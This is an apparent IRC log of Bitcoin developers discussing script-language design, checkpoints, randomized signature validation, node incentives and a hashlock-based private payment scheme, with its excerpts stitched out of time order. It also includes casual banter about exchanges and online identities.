12:18 <@sipa> HM: in practice, that is not the case anymore by far
12:19 <@sipa> plus it is hard to analyse
12:19 <@sipa> and actually terribly complicated to write actually useful complex scripts
12:20 < HM> wait, how does one path on an AST prove anything/
12:20 < HM> ?
12:20 <@sipa> ok, so imagine you had in your script AST language a construct "if BOOL then X else Y", where X and Y are subtrees
12:20 < HM> how would you do multisig for example as an AST
12:21 < HM> that should be a simple example
12:21 <@sipa> you could have a node that requires a valid signature as input (input just becomes a list of values, and the AST refers to specific elements in it)
12:22 <@sipa> combine two such nodes with an AND, and you have 2-of-2
12:22 <@sipa> combine it with an OR, you have 1-of-2
12:22 <@sipa> use a COUNT operator to compute the number of valid signatures on top of 3 such sigchecks, and compare it with >=2, and you have 2-of-3
12:23 < HM> i'm struggling to see how you refer to vin provided values in a script
12:23 <@sipa> ok, so scriptSig just gets replaced by a list of values - no script or anything fancy
12:23 < HM> sure
12:24 <@sipa> our language has these nodes: DATA(X), with X an integer, returns the input value number X
12:24 <@sipa> AND(X,Y), requires X and Y both to evaluate to true
11:53 < jgarzik> it gets ever more expensive to set up a full node
11:53 < jgarzik> and all of them are unpaid
12:01 < jgarzik> Satoshi predicted bitcoin would eventually devolve into miners running the only full nodes
that would be disappointing
12:13 < nanotube> bitcoind is also using roughly 500MB of ram. I've got 2G here, so i could up the connection count to like 512 and see how it likes it.
12:26 < nanotube> anyone checked out http://academiccommons.columbia.edu/catalog/ac:110756 ? i just found it, seems like if it would work for tornodes, it might also work for bitcoin nodes?
13:07 < jgarzik> nanotube, the no-wallet mode should help
13:10 < nanotube> personally i'm not hurting for ram on this vps, but yea the less ram it uses, the lower the barrier to running a node.
17:57 < gmaxwell> 09:01 < jgarzik> Satoshi predicted bitcoin would eventually devolve into miners running the only full nodes
that would be disappointing
17:58 < gmaxwell> especially since there are only like 5 miners. :(
18:00 < gmaxwell> nanotube: I've had some ideas about a lottery to pay people that runs nodes... but I'm somewhat concerned that once you've gone down that path it's not hard for someone to outbid you with "My lottery pays 10% more, but you have to run this special node software which is detectable as special only to me that does <???>" (e.g. sends logs of all transactions
back to a mothership, imposes new network rules, etc)
18:00 < warren> fully verifying or archival with all blocks?
18:00 < warren> miners don't even need full blocks...
18:01 < gmaxwell> warren: that assumption wasn't that it would be out of necessity. Once you've got a business that has you supporting the bitcoin network, .. having a few hundred gigs of diskspace for it isn't that big a deal.
18:02 < gmaxwell> so at least as the network rules are now, I don't think access to the historic blocks is the greater problem.
18:03 < gmaxwell> (ha, well I say that, but currently none of my nodes could spare more than 100gb for bitcoin... my standalone nodes are on 120gb SSDs, and I only have 270 gb free on my laptop.)
18:06 < warren> I suppose it's more important to have more listening fully verifying nodes than to have archival nodes.
18:06 < sipa> archival nodes can just be gttp servers
18:06 < sipa> or dropbox
18:07 < sipa> *http
18:07 < sipa> there is nothing hard about them, except storage and bandwidth
18:07 < gmaxwell> I really really don't like this bimodal thinking that some people are developing wrt a bright line between full vs archival. I think it's a receipy for disaster, because it provides no way to contribute partially: just a binary "enormous amounts of bandwidth and storage" or "not enormous".
18:07 < warren> would the future client automatically enforce integrity of that bootstrap.dat by keeping the checkpoints?
18:07 < sipa> right
18:07 < maaku> gmaxwell: an altchain using your utxo-pow, plus cross-chain trade exchanging altcoins for bitcoins?
18:08 < gmaxwell> recipe*
18:08 < sipa> heh, i want to get rid of checkpoints altogether
18:08 < warren> I know
18:08 < warren> hence I asked if there's any safe way to automatically enforce bootstrap.dat integrity without it
18:09 < gmaxwell> yea, checkpoints need to go, they're a huge cognitive landmine. :(
18:09 < warren> how so?
18:09 < gmaxwell> warren: they enforce it by having verified the chain.
18:09 < warren> aside from an excuses from the broadcast checkpoint people
18:09 < sipa> why would bootstrap.dat need to be integral?
18:09 < warren> isn't that what you meant by http or dropbox?
18:10 < sipa> no, i meant that there is nothing hard about archival
18:10 < sipa> it doesn't need spexial software
18:10 < sipa> it doesn't need low latency
18:10 < sipa> it dpesn't need trustable nodes
18:11 < warren> so it doesn't matter if it is corrupted or provided by a hostile entity, because it won't verify and come in sync
18:11 < sipa> yeah
18:11 < gmaxwell> warren: Because the notion of a decenteralized consensus is really alien to people, and so they flail around looking for a traditional trust model inside bitcoin. Then they find checkpoints and they say "aaahhh.. Now I finally understand how bitcoin really works" but really they don't understand it at all. Bitcoin has failed if the prodution networks
consensus is ever set by checkpoints. The result is people constantly making lame ...
18:12 < gmaxwell> ... insecure proposals and then excusing them with "sprinkle more checkpoints on them!" which doesn't really solve anything because .. what? are we going to add another blockchain to chose these checkpoints-that-would-actually-matter? and what would secure that one?
18:12 < gmaxwell> warren: plus you can do a light validation of it that just checks its hashes... and then you compare the best block hash to your own chain on your own node, and then you are 100% sure that the bootstrap.dat is correct.
18:13 < sipa> people have somehow accepted that you don't need signatures before the checkpoints
18:13 < sipa> which is true, once you trust the checkpoints
18:14 < sipa> but it really is just a shortcut to avoid a trivial mislead-a-syncing-client attack, if we'd just disable sig checking for old blocks
18:14 < gmaxwell> And of course that stuff closes off thinking optimizations which are not so hostle to a trust free model: things like randomly verifying and alerting people on any violation.
18:14 < gmaxwell> s/thinking optimization/thinking about optimization/
18:15 < sipa> they're an evil necessity once you accept the compromise of not checking all sigs
18:16 < sipa> with headersfirst syncing, you can safely disable sigchecking without checkpoints
18:16 < sipa> well, safely... not less safe than what we have now
18:16 < sipa> it's still a compromise
18:17 < gmaxwell> and there are more degrees available.
18:17 < gmaxwell> e.g. checking 1:1000 signatures in the historic chain is virtually as fast as checking none at all. But with many nodes, you are virtually assured that someone will notice any cheating ... drastically reducing the incentive to create a long fork that would be needed to attempt it.
18:17 < warren> "someone will notice" assumes others are not asleep to hear the warning
18:18 < warren> we have thousands of clients still running old versions that have perma-alerts ... asleep
18:18 < gmaxwell> warren: keep in mind you're already talking about that being predicated on an attacker replacing months of the chain.
18:19 < warren> true
18:19 < warren> ok
18:20 < gmaxwell> warren: I don't think it's worth the risk/code complexity at least in the short term but the response there could be automated ultimately.
18:20 < warren> are you thinking to do random sig validation, and also PoW validation?
18:21 < sipa> PoW + utxo everywhere, sigchecks after last checkpoimt: that's what we have now
18:22 < gmaxwell> warren: e.g. each node checks all the sigs for the blocks within the last two months of POW at current difficulty. And before that they check only 1:1000. (and if you have automatic response) if they find an invalid signature they could announce it, and the network could relay that announcement, and blacklist the block in question. (this last bit I don't
think is worth doing in the short term)
18:22 < gmaxwell> (but I think it would be worth doing someday after utxo in blocks, with SPV nodes doing some randomized validation of their own)
18:23 < sipa> we could have something like pow + utxo everywhere, between 1 year and 1 month of PoW worth of burying and increasing % of sigchexks, and in the last month worth of PoW check everything
18:23 < sipa> my phone typing skillz are weak
18:24 < gmaxwell> This could be made stronger if it didn't just check the signatures in the last N POW-months of blocks, but also always checked all of them after a reorg.
18:24 < sipa> hmm?
18:25 < gmaxwell> sipa: e.g. say you check the last month of blocks. Then someone does a 1.25 month deep reorg. You'd still check all of those. So then a reorg could never insert invalid signatures. You could only get invalid signatures on startup... so an attacker could only trick new nodes, and his trickery would end as soon as everyone else got ahead.
18:26 < gmaxwell> basically it reduces an attacker issuing invalid signatures to isolation attacks instead of actually getting the network to accept an invalid signature as valid.
18:30 < gmaxwell> making that gate stateful kinda sucks. It could be better stated. "You will check all blocks higher than X, if you are aware of a header valid fork at X or prior which has at least Y work more than X", where Y could be something like a days worth.
18:31 < gmaxwell> so normally a new node would check only the last (say) POW-month's worth of signatures. BUT if that node is not isolated and sees a long fork at 1.25 months, it will check since 1.25 months ago.
18:32 < gmaxwell> I am very happy with this. I think the result is that it is only a bootstrapping time compromise. E.g. there could be a conspiracy of bitcoin users to have broken the rules in the past, but nothing worse than that. And that can be substantially closed with random checks before the cutoff. (the conspiracy would only work if it could be kept secret).
18:42 < jgarzik> http://www.wired.co.uk/news/archive/2013-10/12/us-internet-control
18:42 < jgarzik> sad side effect will be greater localization of data inside more represssive regimes
18:43 < sipa> perhaps more on-topic in dev?
18:43 < sipa> or rather, less offtopic
18:50 < nanotube> gmaxwell: as to your concern for "i pay you more to run my special node" <- how does that become /more/ of a concern than now? currently, someone can say "i'll pay you to run my special nodes" and users will be comparing "run bitcoin nodes for no compensation" to that.
18:50 < nanotube> i don't see how compensating our nodes could make that problem any /worse/
12:27 < TD> (figure 1 shows lots of bouncing arrows between verifier and prover)
12:29 < gmaxwell> yea, okay, I hadn't seen their paper, just the code. Without looking I'm going to guess that their "contribution" was some interactive thing, but their source code appears to include basically pinocchio with the missing parts restored. (the pinocchio source code is incomplete: they used some microsoft internal pairing crypto library which they didn't release)
12:30 < TD> ah yes
12:30 < amiller> pantry seems to be based on an earlier protocol they built zataar which is pinocchio from scratch
12:30 < amiller> i think they mostly only used the c-to-circuits compiler frontend from zataar
12:31 < gmaxwell> I spent 5 minutes looking at their code ... didn't get as far as trying it because of the insane dependencies.
12:52 < amiller> from the paper it looks like there's only one round of interaction because all the pcp queries are in a batch, but it is private coin so you wouldn't be able to trust someone else's transcript
12:52 < amiller> that's way lamer than pinocchio unfortunately
12:52 < amiller> so tinyram is better yeah
13:53 < realazthat> amiller: mmm interesting
13:53 < realazthat> I'll look at it
13:54 < realazthat> TD[away]: I am not sure if tinyram base code is ready yet
13:54 < realazthat> but it is supposed to be available
13:54 < realazthat> I am unsure on licencing
13:54 < realazthat> you can mail eli
15:22 < sipa> petertodd: maybe better here
15:23 < petertodd> sure
15:31 < petertodd> sipa: parasitic consensus systems are going to be interesting, it's so damn easy to make them SPV compatible.
15:33 < petertodd> w/ TXO commitments, it'd be worth it to mak sure such systems have nice blockchain interaction libraries, that do some validation while they get their data, and can spit out approprite fraud proofs.
20:23 < gmaxwell> Damn. I really wish all those OP codes weren't disabled.
20:24 * sipa enabled OP_TURINGMACHINE
20:25 < sipa> *enables
20:26 < gmaxwell> (per Murphant on the forum) you could construct a transaction where alice pays to one of {alice in two weeks (nlock refund), alice + bob, bob but only if the signature provides a spv proof that a specifc transaction was mined}
20:26 < gmaxwell> such a proof would be pretty easy to construct with the splice operators. and not terribly huge by any means.
20:27 < gmaxwell> The idea being that alice pays bob to make publically disconnected transaction paying mallory. And if bob does, alice+bob sign and there is no linkage. If bob tries to cheat alice times it out and gets the refund. If alice tries to cheat bob blows her privacy by revealing he kept up his side of the deal.
20:30 < gmaxwell> It only needs script powerful enough to verify a SPV proof. e.g. provide txid X such that H(X|| non-public nonce) = Value in script, then a SPV proof that X was mined.
20:31 < gmaxwell> (of course with an AST script you wouldn't even reveal that the untaken branch of the script had a reveal-verifier, so no one could even tell that there was an airgapped payment made.
20:31 < gmaxwell> )
20:59 < gmaxwell> I wonder how awful it would be if we added a hashtree opcode.
21:01 < gmaxwell> inputs: [hash] [tree size] [position of hash in tree] [bunch of branch hashes packed up] ... and it emits a root.
21:02 < gmaxwell> it could be used for spv-secure cross chain transactions. With an extra opcode to check a header against the chain, it could be used to do proof of another transaction to allow those airgapped transfers.
21:10 < amiller> script powerful enough to do spv-secure is the basic idea of P2PTradeX
21:13 < gmaxwell> I know. (if you noted in that thread I wasn't all that excited about that, over what you can do with a simple two-hashlock transaction)
21:14 < gmaxwell> I suppose there is a hashlock version of the an airgap payment too.
21:29 < gmaxwell> amiller: whos ya daddy? https://bitcointalk.org/index.php?topic=318122.msg3431242#msg3431242
21:32 < amiller> whoa
21:32 < amiller> that's neatttttt
21:34 < gmaxwell> (I just made some tweaks to make it more readable)
21:47 < gmaxwell> petertodd: https://bitcointalk.org/index.php?topic=318122.msg3431242#msg3431242 < can we try this protocol sometime? I believe I owe you some coin. :)
22:20 < amiller> i guess i don't see what the point of it is exactly, if you had an ordinary trusted mixer to use you could send the thing to own fake address and then to bob
22:21 < amiller> i guess it reduces the cost of using a mixer that way
22:21 < amiller> er reduces the time by one transaction
22:21 < gmaxwell> amiller: there is no linkage in the transaction graph between alice and bob at all. They can be forever completely disjoint.
22:21 < amiller> although there are still transactions just one is an escrow
22:21 < amiller> they both interact with carol
22:22 < amiller> carol can use different addresses but this is true of any mixing service
22:22 < gmaxwell> e.g. no amount of coin-flow analysis would show coins from alice end up at bob. Sure. But carol doesn't need to be trusted, and presumably carol keeps her funds seperated.
22:23 < gmaxwell> amiller: yea, compared to j-random-mixer the mixer cannot steal (which means that the mixer can be strongly anonymous, which makes it less vulnerable to coercion: log or we break your fingers)
22:23 < gmaxwell> compared to coinjoin the transaction flow can be completely disconnected.
22:23 < amiller> so i can use this to mix with myself
22:24 < gmaxwell> yea, you could be alice and bob.
22:24 < amiller> i have to trust the mixer for anonymity but yes it can't steal my funds
22:24 < gmaxwell> Downside compared to coinjoin is that you can't blind the mixer, it learns the linkage.
22:24 < gmaxwell> since the transaction pattern is identifyable your anonymity set can't be bigger than all the people using similar transactions, alas.
22:26 < gmaxwell> (CJ has the benefit that the transactions are not distinguishable, except to the extent that they have unusual values or numbers of inputs/outputs... disadvantage that it can't produce a truly disjoint graph ... though arguable this doesn't either unless widely used)
23:04 < warren> petertodd: jdillon wrote to me. I'm still not convinced he's a real person.
23:06 < gmaxwell> I wondered for a bit if he might not be DPR until he seems to have showed back up.
23:07 < warren> huh. He did indeed disappear for a while.
23:08 < Luke-Jr> is it PGP signed? :P
23:08 < warren> PGP signed and encrypted
23:10 < Luke-Jr> anyone can encrypt :p
23:10 < warren> yes, signed
23:10 < warren> perhaps someone else got his key with the $5 wrench attack
23:10 < warren> to ask me if petertodd and gavin are the same person
23:11 < warren> *Some parts of the above are a joke.
23:12 < gavinandresen> ok, ok, I'll fess up. I am peter todd and jdillon and satoshi.
23:12 < gavinandresen>
hired an actor to PRETEND to be peter at the bitcoin conference....
23:12 < Luke-Jr> :P
23:12 < gmaxwell> hm. Have I ever seen gavin and PT at the same time?!?
23:12 < warren> gavinandresen: must be very confusing to keep all the opposing positions straight.
23:12 < Luke-Jr> gavinandresen: it'd be more belivable if the actor was playing Gavin <.<
23:13 < gavinandresen> warren: gets easier all the time, this project will make you crazy
23:13 < warren> gavinandresen: too late...
23:13 < gmaxwell> HAH
23:13 < gavinandresen> good point, you have to be crazy from the start to seriously consider getting involved
23:13 < warren> it turns out that gluing together coin control and watchonly isn't easy.
23:15 * warren quotes gavin on twitter.
23:15 < Luke-Jr> gavinandresen: wait, you're not warren too?
23:15 < gavinandresen> Luke-Jr: no. But I am RealSolid.
23:15 < warren> wow, I knew it!
23:16 < gmaxwell> We knew that.
23:16 < Luke-Jr> gavinandresen: then you're slacking. I haven't heard from you as RealSolid in a few weeks.\
23:16 < gavinandresen> lol
23:16 < gmaxwell> Next time get brad pitt to play you in the conference too.
23:17 * Luke-Jr wonders if RealSolid ever finished his rewrite of SolidCoin/MicroCash/whatever-it-is-now
23:17 < warren> Luke-Jr: his exchange is too profitable to waste time on yet another coin
23:17 < warren> I expect one day everyone's deposits will be stolen when he disappears.
23:18 < warren> Or is arrested for some unrelated reason.
23:18 < Luke-Jr> heh
23:19 < warren> Would Bitcoin people sue for copyright infringement if he's ever identified?
23:19 < gmaxwell> Maybe RS is a social expirement I'm conducting in how disreputable a counterparty can appear before people will stop giving him their money. Current (revised) hypothesis is that it's unbounded.
23:19 < Luke-Jr> warren: doubt it
23:20 < gmaxwell> warren: poor guys has enough of his own problems.
23:20 < warren> Luke-Jr: I mean ... why not? You sue people with deep pockets.
23:20 < Luke-Jr> although that'd be entertaining to see
23:20 < Luke-Jr> warren: he has deep pockets? :p
23:20 < warren> Luke-Jr: have you seen his exchange recently? omgwtfbbq. very clever how he attracted a ton of deposits and grew to a massive size overnight.
23:21 < gmaxwell> well technically a pocket with a hole in it has no bottom.
23:21 * Luke-Jr wonders if any MIT licenses have been in court as a plaintiff
23:21 < gmaxwell> warren: what did he do?
23:21 < Luke-Jr> warren: I actually didn't know he *had* an exchange
23:21 < Luke-Jr> actually, I vaguely remember him asking me if I hacked it or something a few months ago
23:21 < Luke-Jr> but I never bothered to figure out what exchange he started
23:22 < gmaxwell> Luke-Jr: yea.. :( I was shocked to find this out about a month ago when he started posting around telling people to change their passwords, I ... though he was trying to trick people into giving up their passwords or something.
23:22 < Luke-Jr> so what exchange is it? :o
23:22 < gavinandresen> RealSolid and Zhou Tong both have exchanges, supporting gmaxwell's hypothesis
23:23 < gmaxwell> Luke-Jr: mcxnow
12:23 < petertodd> adam3us: and I proposed just mixing in the previous block hash for the same reason
12:24 < petertodd> adam3us: no, I mean an address book on your offline wallet that you enter in manually by a manually verified process (letter in the mail) simple and easy
12:24 < petertodd> adam3us: people *do* do that
12:24 < adam3us> petertodd: yes so the problem is its one use, you have to enter a new one each time
12:24 < petertodd> adam3us: yes, and add some trivial bit of derivation and you're done.
12:25 < adam3us> petertodd: sounds like a sub-wallet and chain code
12:25 < petertodd> adam3us: my point is anything *beyond* that, say you want to verify a payment request, is better handled by a PGP extension tot he payment protocol
12:25 < petertodd> adam3us: exactly, as I say, it's not hard
12:29 < adam3us> petertodd: see i the mid-term, once the bad-actors jump up over the next speed bump of payment request + client side trezor/offline wallet, some exchange or bitcoin processor is going to go under or lose its entire hot wallet, or have attackes redirectiong payments because they assume a web server is not remotely compromizable
12:29 < adam3us> petertodd: we know thats just-not-true, and as the biz level increases and the bitcoin price increases, people will happily burn a collectio of 0-days to disabuse them of that notion
12:30 < adam3us> petertodd: then the answer 'oh well they should've secured their site better' is no a clever answer - its a systemic risk from irrevocability and if we dont fix it the merchants will by adding revocability...
12:31 < petertodd> adam3us: so? put your payment protocol SSL key elsewhere - IIRC Gavin specifically made it use a subdomain for that reason
12:31 < petertodd> adam3us: the thing is we *can't* fix this for people in a sane way
12:33 < adam3us> petertodd: my argument is you can :) just assume (longer term) everyone is using some hardware wallet/token. now what do you do to help people authenticate one-use addresses in a simple native way. to say oh just make an HD sub-wallet and chain-code per recipient isnt fantastic as I dont think you can introduce them
12:34 < adam3us> petertodd: like i cant refer that to you, because its a point to point shared secret
12:34 < petertodd> adam3us: so is a HD sub-wallet and chain code
12:34 < petertodd> adam3us: sorry misread that
12:35 < petertodd> adam3us: right, but anything you try to do to refer someone else to me has you as a MITM... and OpenPGP WoT already puts tonnes of effort into solving that
12:35 < adam3us> petertodd: so if we replace shared secrets with identities i can tell you offline, yes look this is the static payment identity for this vendor
12:36 < adam3us> petertodd: but sub-wallet and chain code doesnt even help us if we're sitting side by side (in the end 2 end payment security view)
12:36 < petertodd> adam3us: yes, and a OpenPGP key is a static payment identity... don't re-invent the wheel
12:37 < petertodd> adam3us: it's also *way* more useful, because the infrastructure already exists to use it for other stuff, like send a PGP-signed email to customers
12:37 < adam3us> petertodd: i dont think you want to import pgp or x509 into bitcoin
12:37 < adam3us> petertodd: your trezor doesnt understand pgp wot nor x509
12:37 < petertodd> adam3us: we're not importing anything "into bitcoin" - we're using stuff for it's intended purpose
12:37 < petertodd> adam3us: why not? they're moderately high-end arm processors
12:38 < petertodd> adam3us: *not* supporting it just means that users are going to fuck up on the manual verification bit
12:38 < adam3us> petertodd: i am not even talking about wot even, just that there ought to be a published static address (payment identifier) and one-use payment addresses can then be signed by them
12:38 < petertodd> adam3us: published where? how?
12:39 < petertodd> adam3us: signed by what?
12:39 < adam3us> petertodd: but if you call that the recipient account number, its no more complex to understand than a credit card check digit
12:39 < adam3us> petertodd: the underlying one-use addresses no longer need to be displayed to the user
12:39 < petertodd> adam3us: add a new type of UID to OpenPGP called your bitcoin chain-thingy-whatever
12:40 < adam3us> petertodd: app-level signatures from the app context can sign their stuff, and leave the basic is this a valid one-use address (transactio number) from this merchant to en2en
12:41 < petertodd> adam3us: sign where? how?
12:41 < adam3us> petertodd: i think what you're saying is the architectural equivalent of having sendmail sign your key fingerprint
12:42 < petertodd> adam3us: somehow the verification has to happen *on the trezor* and you have to get a fingerprint of a key securely *to that trezor*. If you don't use CA's, people will validate fingerprints on their compromised box, if you don't use PGP, same deal.
12:42 < petertodd> adam3us: if you do use CA's or PGP, then you've made the whole ecosystem more useful for everyone, especially the PGP option
12:42 < petertodd> adam3us: signing stuff is easy, verifying keys is what's hard
12:43 < adam3us> petertodd: i claim its a layering violation to think of the payment request msg as a proof that the address is owned by the merchant, so in the app context there is a payment request say, it signs a one-use address, and some informtion abot what you're buying; but the underlying one-use address is signed by the merchant identity address (the base public
key of the offline HD wallet)
12:44 < adam3us> petertodd: i am not saying dont use CAs i am just saying the architectural equivalent of dont use ssl transport on SMTP as an argument for not using PGP (end to end vs app level transport)
12:45 < adam3us> petertodd: the web app level and browser level is the payment request, x509 or other sig; the payment level uses differrent transport and has more secure key management
12:45 < petertodd> adam3us: and I'm saying the concept of a separate "merchant identity address" just introduces a whose new layer of exploits because users can't and won't have any way to verify that identity address other than CA's and PGP, so don't create separate systems.
12:45 < adam3us> petertodd: and no online app or client to attack
12:46 < petertodd> adam3us: yeah, and the payment protocol already supports separate keys by how it expects a cert for a subdomain
12:46 < adam3us> petertodd: the point is right now you have no way at the payent layer to validate the address is owned by the merchant. the payment request doesnt prove its owned by the merchant: it proves the merchants web scripting language signed it, but maybe from time to time compromised.
12:46 < petertodd> adam3us: now if you want to strengthen that, maybe make a third subdomain to sign for a long-term root or something, but don't make it a separate "merchant identity address" that the user will ever see (except in paranoid situations where they enter fingerpritns in manually)
12:47 < adam3us> petertodd: i dont think its unreasonble to see an account number and check its correct off your last paper bill or whatever
12:47 < petertodd> adam3us: you don't deal with users...
12:47 < adam3us> petertodd: pretty much all credit card bill pyment, online banking etc works tht way
12:48 < petertodd> adam3us: *could* work - no-one actually does that.
12:48 < adam3us> petertodd: the payent identifier is a simpler concept that more closely matches their banking understanding - it is the merchants ACCOUNT NUMBER
12:48 < adam3us> petertodd: err when you set up a payment ivia online banking you probably either type of cross check the account number
12:49 < adam3us> petertodd: this just slightly tweaks the bitcoin concept to more closely match user expectation, and improve verifiability
12:49 < petertodd> adam3us: yeah, and it always gets back to how did you get that account number... which in turn ges back to *you need to make the trezor support CA's and/or OpenPGP anyway* so use that mechanism rather than writing yet more code
12:49 < adam3us> petertodd: i am not saying dont do those parts, but i am saying they are best effort app level/browser level things.
12:50 < adam3us> petertodd: to avoid paying the wrong person you need a stable account number analog and this is it
12:50 < petertodd> adam3us: no, for the average user they are absolutely critical to support directly in the trezor
12:50 < petertodd> adam3us: the majority if transactions aren't going to be done by checking account numbers
12:50 < petertodd> adam3us: you *must* do as good a job as possible on that common case in a way that users actually use
12:51 < petertodd> adam3us: since you must do that work, re-use the end result for the paranoid case...
12:52 < adam3us> petertodd: thing is if you look at eg armory or bitcoin-qt there is a list of one-use adresses, these are transaction numbers, but users confuse them for addresses, all i am saying, and i dont see why its controversial, is the address should be signed by the hd wallet root that generated them
12:52 < adam3us> petertodd: then that thing - the hd wallet root address is the account number, nd you can display in conventional accounting format: account number, transaction number, merchant deescription, product description, units, cost
12:53 < petertodd> adam3us: it's controversial because it's useless :)
12:53 < adam3us> petertodd: foo youre just not appreciating the difference between layering it seems to me:|
12:53 < petertodd> adam3us: ok, account number == pgp fingerprint
12:53 < petertodd> adam3us: now you've re-used useful code and have a chance of getting better overall integration
12:54 < petertodd> adam3us: rather than Yet Another Signing System
12:54 < adam3us> petertodd: es but what use is a pgp fingerprint to a trezor or offline wallet, dont tell me you want to add that to the bitcoin source code
12:54 < petertodd> adam3us: damn right I do, because you have to for the common case
23:24 < warren> gmaxwell: the "mcxfee" are sort-of like preferred stock entitled to a proportion of fees paid by customers. You can buy and sell mcxfee's as yet another BTC/something pair on his exchange. A portion of the mcxfees were sold to finance interest payments on deposits in the exchange. Interest coming from that pseudo-equity sales made people feel that it
isn't a ponzi scheme. So in came a ton of deposits and lots of crypto/crypto pair tradin
23:24 < warren> g.
23:24 < gmaxwell> Luke-Jr: https://mcxnow.com/exchange/SC < how you can tell
23:25 < Luke-Jr> lol
23:25 < warren> The exchange is notorious for "excitement" of pump and dumps, and payban ... pay a fee to make someone unable to talk in the trollbox for a duration of time.
23:27 < warren> Hence, deep pockets. It's a good time to identify and sue him for copyright infringement, as he has something to lose now.
23:27 < warren> and it would be very entertaining
23:27 < Luke-Jr> warren: afaik he ceased
23:27 < warren> Luke-Jr: how long did he infringe after notice?
23:28 < gmaxwell> https://coinjar.io/ < zhoutong,
23:29 < Luke-Jr> warren: no idea
23:31 < gavinandresen> I'm a happy coinjar.io customer, by the way-- cheapest / most convenient way to sell bitcoins here in Australia right now.
23:32 < Luke-Jr> >_<
23:39 < gmaxwell> Plus you get bonus chinese antiques absolutely free!
23:41 < Luke-Jr> this guy wants to do CPU mining on an average PC, using javascript throttled to not make the computer slow.
23:41 < Luke-Jr> am I being fair estimating longer than Earth's existence for $10 worth?
23:43 < warren> Luke-Jr: if enough people do it, Earth's habitable duration might shorten, complicating your calculation.
23:45 < Luke-Jr> I mean past existence.
--- Log closed Tue Oct 29 00:00:56 2013
--- Log opened Tue Oct 29 00:00:56 2013
00:18 < petertodd> warren, gavinandresen: whoever jdillon is there's a lot of publicly verifiable proof-of-work and proof-of-sacrifice that's been involved to establish that identity :P
00:18 < petertodd> gmaxwell: we can tell if it's DPR by watching to see if his ideas get more or less intelligent now that the FBI is the puppet master
00:19 < petertodd> gmaxwell: so what opcodes do we need enabled?
00:20 < petertodd> warren, gavinandresen: BTW if anyone wants to establish intelligent-sounding sock-puppets, I'm willing to sell original, unpublished, crypto-coin theory for 1BTC a page, 0.5BTC if half-baked...
00:21 < gmaxwell> petertodd: none, I came up with a formulation that should work on the existing network. See link.
00:24 < petertodd> huh, I think I get it...
00:24 < warren> There's apparently a new DPR now.
00:24 < warren> The old one should sue for trademark infringement.
00:24 < petertodd> warren: oh yeah? mind, that's the whole point of that name...
00:25 < petertodd> warren: I'm also not going to be as surprised as I should be if the government can't prove their case; digital evidence is deeply untrustworthy. :(
00:26 < petertodd> gmaxwell: can you add some actual scriptPubKeys to your description?
00:39 < gmaxwell> petertodd: sure, this sound sane to you? This is the pubkey in the first transaction (ignoring the alice+carol branch)
00:39 < gmaxwell> scriptPubKey: [ OP_DUP OP_ROT OP_RIPEMD160 OP_EQUAL OP_VERIFY OP_ADD OP_RIPEMD160 PUSH_H(HX+Q) OP_EQUAL OP_VERIFY PUSH_CAROLPUBKEY OP_CHECKSIG ]
00:39 < gmaxwell> and this is what the scriptsig looks like:
00:39 < gmaxwell> [SIGNATURE PUSH_Q PUSH_X PUSH_HX]
00:43 < gmaxwell> and Carol's scriptPubKey towards bob is: [OP_RIPEMD160 PUSH_HX OP_EQUAL OP_VERIFY PUSH_BOBPUBKEY OP_CHECKSIG ] and the redeeming signature is [SIGNATURE PUSH_X]
00:43 < gmaxwell> (again ignoring the alternative carol+bob refund branch)
00:44 < petertodd> working on it...
00:45 < gmaxwell> so basically, to get paid bob must publish X for ripemd160(X) = HX. Carol can either get paid by alice's consent, or carol can instead use the knoweldge of X to redeem alice's payment, but that makes the alice/bob relationship public.e
00:47 < gavinandresen> gmaxwell: That OP_ADD is adding HX and Q ?
00:48 < petertodd> I was just about to say...
00:48 < petertodd> ADD is numeric
00:48 < petertodd> I think you want CAT which is disabled
00:48 < gavinandresen> ADD (and all the rest of the arithmetic ops) are crippled to only work on 32-bit numbers right now, too.
00:49 < petertodd> yup
00:49 < gmaxwell> aw crap, I forgot about that. @#$@#$@#($8324
00:49 < gmaxwell> (for some reason I thought it did bignum adds on hash outputs.)
00:49 < petertodd> gavinandresen: we're going to curse you until the end of time for doing that. (or until script v2.0, which ever comes sooner)
00:50 < gmaxwell> gavinandresen: and yea, it just needs some way of modifying the value that gets hashes because you can't disclose HX directly in the scriptpubkey
00:50 < gmaxwell> (if you want to keep the transaction private)
00:50 < gmaxwell> e.g. add, xor, cat, any of that would do.
00:51 < gavinandresen> mmm. Wish satoshi hadn't disabled the xor, that seems like it would be safe (never creates results bigger than inputs) and would be darn handy.
00:52 < petertodd> though OP_XOR was affected by the sign extension bug
01:01 < petertodd> gmaxwell: interesting how OP_EVAL could have worked here too, or OP_MAST_EVAL
01:14 < gmaxwell> petertodd: so I have a way of making it work I think but it's kinda awful.
01:14 < petertodd> gmaxwell: hang on, why not have Alice pay into 2 <ALICE> <CAROL> 2 OP_CHECKMULTISIG, and then require alice to sign a transaction spending that txout to RIPEMD160 H(X) EQUALVERIFY <carol> CHECKSIG prior to carol creating the txout for bob? it's almost as trust free
01:14 < petertodd> yeah?
01:15 < gmaxwell> because thats not private.
01:15 < gmaxwell> oh I see!
01:15 < petertodd> sure it is, carol only publishes the transaction if needed, the normal case is alice then signs her part of the checkmultisig with SIGHASH_NONE|ANYONECANPAY
01:15 < gmaxwell> Yea, you hide the alternative redemption by never announcing it instead of branching.
01:16 < petertodd> carol can spend at will
01:16 < petertodd> yup
01:16 < gmaxwell> Indeed. That works. Also makes the transaction look more indistinguishable! awesome.
01:16 < gmaxwell> So here is what I was going to point out.
01:16 < petertodd> ?
01:18 < gmaxwell> if you replaced the addition with Q with a cascasde of RIPEMD160 or HASH160 with IFs.. e.g. 64 x {RIPEMD160 or HASH160} then 'q' becomes a sequence of 64 trues or falses you send in to pick which mixture of hashfunctions to apply.
01:18 < petertodd> ha, yeah, I thought of that, and thought it too awful to contemplate
01:18 < gmaxwell> E.g. R(H(H(H(R(R(H(R(H(R(H(R(R(H...(HX))))) = constant in the transaction.
01:19 < gmaxwell> petertodd: in any case you solved it, go post. :P
01:19 < petertodd> heh
01:19 < gmaxwell> Yours is an improvement anyways, makes the transaction smaller, makes it indistinguishable from other kinds of escrow transactions on alice's side.
01:20 < gmaxwell> (in the case where alice doesn't cheat, of course)
01:20 < petertodd> yeah, I should write an app for this...
01:20 < petertodd> surely that's deserving of a coinjoin bounty reward, even if it's not coinjoin!
01:21 < gmaxwell> Yea, it's sort of interesting to compare this with coinjoin, it has different properties. I think both are complementary.
01:21 < petertodd> yup
